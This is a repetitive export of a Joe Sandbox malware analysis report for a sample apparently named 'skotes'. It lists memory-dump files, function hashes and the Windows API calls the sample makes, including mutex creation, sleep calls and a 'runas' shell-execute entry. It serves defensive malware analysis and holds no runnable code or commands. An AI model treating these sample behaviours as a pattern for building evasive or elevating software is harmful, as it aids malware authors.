Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situExecuteMtx_destroy_in_situShell
String ID: runas
API String ID: 141703535-4000483414
Opcode ID: c3c9325d55feedb4648adf41c5ee09c6447c9a7f382897d501901e91de0e10c9
Instruction ID: 7829e6e235ae80b15d423b334da38786deec47be6c928226665b0e6ea48d8ced
Opcode Fuzzy Hash: c3c9325d55feedb4648adf41c5ee09c6447c9a7f382897d501901e91de0e10c9
Instruction Fuzzy Hash: DDA1447061524C9FEB08DFB8CC85BAE7BA5FB85314F504618F905E73D1CB35A9808B91

Function 00926FB4 Relevance: 4.6, APIs: 3, Instructions: 145COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00926EE6), ref: 00926FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00927030
__dosmaperr.LIBCMT ref: 009270C5

Part of subcall function 0092732A: __dosmaperr.LIBCMT ref: 0092735F

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 6e1a8fa84b404e42ab0a17c52d37253b398d27da6c595ef9895767511a3a046d
Instruction ID: bf916d9ab00832d2d49847fb89b186f30692988d2ee1f4bf73dc57ef0df2f24c
Opcode Fuzzy Hash: 6e1a8fa84b404e42ab0a17c52d37253b398d27da6c595ef9895767511a3a046d
Instruction Fuzzy Hash: 4C415D71908314ABDB24EFB5EC41AAFF7F9EF89300B10492DF956E3215E634A944DB21

Function 008F9BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 008F9BA8
Sleep.KERNEL32(00000064,?), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 9241d1f9021b2f3e7445c2d3ac5979852c40f87fc82ee6901271066d575c948e
Instruction ID: 15a5d505703a1e6e3badd8dbe7dd45fcebfbbf7a67319743be4ba0f4e14a6cba
Opcode Fuzzy Hash: 9241d1f9021b2f3e7445c2d3ac5979852c40f87fc82ee6901271066d575c948e
Instruction Fuzzy Hash: DA3118717142088BEB18DBB8DD89B7DBBA2FBC1324F248218E258DB3D6C77559808751

Function 008F9CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 008F9CDD
Sleep.KERNEL32(00000064,?), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 908de1e15ff6de26525d2f1a45e1bb50d7b2d073e192dbb39590948b361ddefc
Instruction ID: 1097dbbfaed5ed4509896bf843d3ae460c8336bd49f1af540b48f2c043d18b5d
Opcode Fuzzy Hash: 908de1e15ff6de26525d2f1a45e1bb50d7b2d073e192dbb39590948b361ddefc
Instruction Fuzzy Hash: 963125717142488BEB18ABB8DC887BDBBA2EFC5324F344218E254D73D5C77559808721

Function 008F9F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 008F9F47
Sleep.KERNEL32(00000064,?), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
